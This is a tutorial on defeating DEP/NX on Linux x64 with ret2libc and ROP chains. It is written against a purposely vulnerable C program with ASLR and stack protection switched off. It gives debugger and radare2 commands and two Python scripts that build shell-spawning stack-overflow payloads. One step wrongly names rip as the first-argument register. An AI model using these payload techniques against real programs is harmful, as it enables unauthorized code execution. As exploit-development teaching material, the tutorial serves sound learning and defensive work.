Using Return Oriented Programming
This article describes techniques to bypass DEP (ret2libc
and ROP
) on Linux x64 systems.
We need:
- Python Exploit Development Assistance for GDB
- radare2
- GDB
We need a small, vulnerable program in C :
#include <stdio.h>
int main(int argc, char *argv[]) {
char buf[256]; read(0, buf, 400);
}
Compile it using:
gcc -fno-stack-protector rop.c -o rop
Since we do not bypass ASLR, then we need to disable it for your Linux distribution like this:
echo 0 > /proc/sys/kernel/randomize_va_space
To check whether it’s disabled or not type ldd <path to file>
. You should get something like:
linux-vdso.so.1 (0x00007ffff7ffa000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000)
/lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)
If you type it again, the addresses should be the same, meaning randomization is disabled.
ROP and ret2libc
In classic ret2libc
we need to create a fake stack frame in order to call a function from libc. For instance, we can call system()
and use “/bin/sh” string as input.
In 64-bit programs, the first six params are passed through rdi
, rsi
, rdx
, rcx
, r8
and r9
. The other parameters are passed through the stack. Thus, in order to call a function from libc
, we need to set the right values to registers. Setting this values is not that trivial and I will use ROP technique to show how it can be done.
ROP or Return Oriented Programming is a technique that allows us to bypass NX bit. The main idea of ROP is that instead of executing code from the stack, we would use so called gadgets.
A gadget is a short command sequence, which ends with ret
instruction. Combining these gadgets and choosing the rights addresses, we can achieve code execution.
Using gadgets we can:
- Write a constant into a register, for example
pop rax; ret;
- Copy a value from memory to a register, for example
mov [rax], rcx; ret;
- Copy a value into memory, for example
mov rbx, [rcx]; ret;
- Do calculations, for example
xor rax, rax; ret;
- Do syscall
Our exploit will call system('/bin/sh')
. Before we do this, we must know:
- The address of
system()
. Since we’ve disabled ASLR, it will be the same with every execution - The address of
/bin/sh
in memory (a pointer to a string) - The address of a ROP gadget that will copy the address of
/bin/sh
intordi
(this register is used to pass the first argument of a function) - The offset before rewriting
rip
To find address of system()
we can use gdb
. Run it as gdb rop
.
Then start the program:
gdb-peda$ start
And to find system()
address:
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a7b4d0 <system>
And to find a pointer to /bin/sh
:
gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0x7ffff7b9d359 --> 0x68732f6e69622f ('/bin/sh')
Now we need a gadget that would copy 0x7ffff7b9d359
into rdi
. Let’s use radare2
to find such a gadget. Run radare as r2 rop
and look for a gadget as:
[0x00400400]> /R pop rdi 0x004005a3 5f pop rdi 0x004005a4 c3 ret
This gadget should work. It will take the address from the stack and write it into rdi
.
The only thing we need to do is to find the offset to our exploit, so that we can pass control to it. To find the offset, we can create a pattern, pass it to the program, and then locate it in the memory, and calculate the offset. To generate and save pattern it to pattern.txt:
gdb-peda$ pattern_create 400 pattern.txt
Writing pattern of 400 chars to filename "pattern.txt"
Run gdb again with the pattern as input:
gdb-peda$ r < pattern.txt
We should received the following error, saying that our program crashes: “Program received signal SIGSEGV, Segmentation fault”. Let’s examine rsp
. In my case, it looked like:
RSP: 0x7fffffffe028 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\020\341\377\367\377\177")
Let’s take the first 6 bytes on the stack HA%dA%
. The find which offset they have in our pattern:
gdb-peda$ pattern offset HA%dA%
HA%dA% found at offset: 264
Thus, we know we need to write 264 bytes in order to rewrite rip
.
Now we have everything to create an exploit:
from struct import *
buf = ''
buf += 'A'*264 # junk
buf += pack('<Q', 0x004005a3) # pop rdi, ret
buf += pack('<Q', 0x7ffff7b9d359) # pointer to '/bin/sh'
buf += pack('<Q', 0x7ffff7a7b4d0) # system()
f = open("exploit.txt", "w")
f.write(buf)
f.close
This code:
- Creates a buffer and writes there 264 letters ‘А’ as junk;
- Writes the address of
pop rdi; ret;
gadget; - Writes the address of
/bin/sh
, which is an argument forsystem()
; - Writes the address of
system()
.
First we are getting to our gadget (because of rip
rewriting). Then, the first command of our gadget pop rdi
takes the value from stack, which is /bin/sh
address, and writes it into rdi
. After that, the second command of the gadget gets executed — ret
, which takes the next address from the stack, which is the address of system()
, and jumps to it. Then, system()
gets called, with the first argument in rip
, which is a pointer to /bin/sh
string.
Now let’s call our script, which will create ‘exploit.txt’. Then run program with ‘exploit.txt’ as input:
(cat exploit.txt; cat) | ./rop
And we are in sh
. In this case we used only one gadget, now let’s use many of them!
Chaining gadgets
The main advantage of ROP is that we can create so called “ROP chains”. Since every gadget ends with ret
, we can put multiple addresses on the stack, and every gadget will take the next address from it after executing ret
and jump to that address.
In order to run sh
let’s use this article. In short we are going to use execve()
. To do so we must:
- Put the address of
/bin/sh
intordi
; - Zero out
rsi
, which stores a pointer toargv
; - Zero out
rdx
, which stores a pointer toenvp
; - Write the number of the function (
0x3b
) intorax
; - Call
syscall
.
Now let’s find gadgets.
We already know the address of pop rdi; ret;
Now we need an address of a gadget that can write a value into rsi
. Run radare2
again and type:
[0x00400400]> /R pop rsi
0x004005a1 5e pop rsi
0x004005a2 415f pop r15
0x004005a4 c3 ret
As you can see, it deals with r15
too. But this should not be a problem because we can just put some random value for it to pop
. This value will be put into r15
. If we don’t do so, pop r15
will take an address of the next gadget and thus, break our exploit.
Some gadgets may not be available in our executable file. In this case, we can use libraries that the application loads. To see what libraries are used, run:
ldd rop
linux-vdso.so.1 (0x00007ffff7ffa000) libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000) /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)
Open this library inside of radare2
:
r2 /usr/lib/libc.so.6
Look for a gadget that we can use to write a value into rax
:
[0x000203b0]> /R pop rax 0x0011ec71 8903 mov dword [rbx], eax 0x0011ec73 58 pop rax 0x0011ec74 5a pop rdx 0x0011ec75 5b pop rbx 0x0011ec76 c3 ret
There’re a lot of them, but we need only one. This one messes with three registers, but we can also just put random values on the stack in order to avoid breaking the exploit.
Since the address we have is just an offset inside libc
, we need to calculate its real address, which is the address of libc
plus the offset:
>>> hex(0x0011ec73 + 0x7ffff7a3c000)
'0x7ffff7b5ac73'
And we get the real address of the gadget, which is 0x7ffff7b5ac73
. Now we need to find a gadget, which calls syscall
:
[0x000203b0]> /R syscall 0x0010248e 0000 add byte [rax], al 0x00102490 48633f movsxd rdi, dword [rdi] 0x00102493 b803000000 mov eax, 3 0x00102498 0f05 syscall 0x0010249a c3 ret
We also calculate its real address, which should be something like 0x7ffff7b3e498
.
Now let’s create a buffer for our exploit. It will look like:
0x004005a3 pointer to `pop rdi; ret;`
0x7ffff7b9d359 pointer to '/bin/sh'
0x004005a1 pointer to `pop rsi; ret;`
0x0 null (`argv` value)
0xffffdeadbeef random value (to bypass `pop r15;`)
0x7ffff7b5ac73 pointer to `pop rax; ret`
0x3b number of execve to call syscall
0x0 null (`envp` value)
0xffffffffabcd random value (to bypass `pop rbx;`)
0x7ffff7b3e498 syscall
Create a simple script that creates a file with the buffer:
from struct import *
buf = ''
buf += 'A'*264 # junk
buf += pack('<Q', 0x004005a3) # pop rdi
buf += pack('<Q', 0x7ffff7b9d359) # p to /bin/sh
buf += pack('<Q', 0x004005a1) # pop rsi
buf += pack('<Q', 0x0) # null argv
buf += pack('<Q', 0xffffdeadbeef) # junk
buf += pack('<Q', 0x7ffff7b5ac73) # pop rax
buf += pack('<Q', 0x3b) # execve number
buf += pack('<Q', 0x0) # null envp
buf += pack('<Q', 0xffffffffabcd) # trash
buf += pack('<Q', 0x7ffff7b3e498) # syscall
f = open("exploit.txt", "w")
f.write(buf)
f.close
Run the script. It should save content to file ‘exploit.txt’. Now we can use it with our vulnerable program:
(cat exploit.txt; cat) | ./rop
Now, we are inside sh
and we can run commands.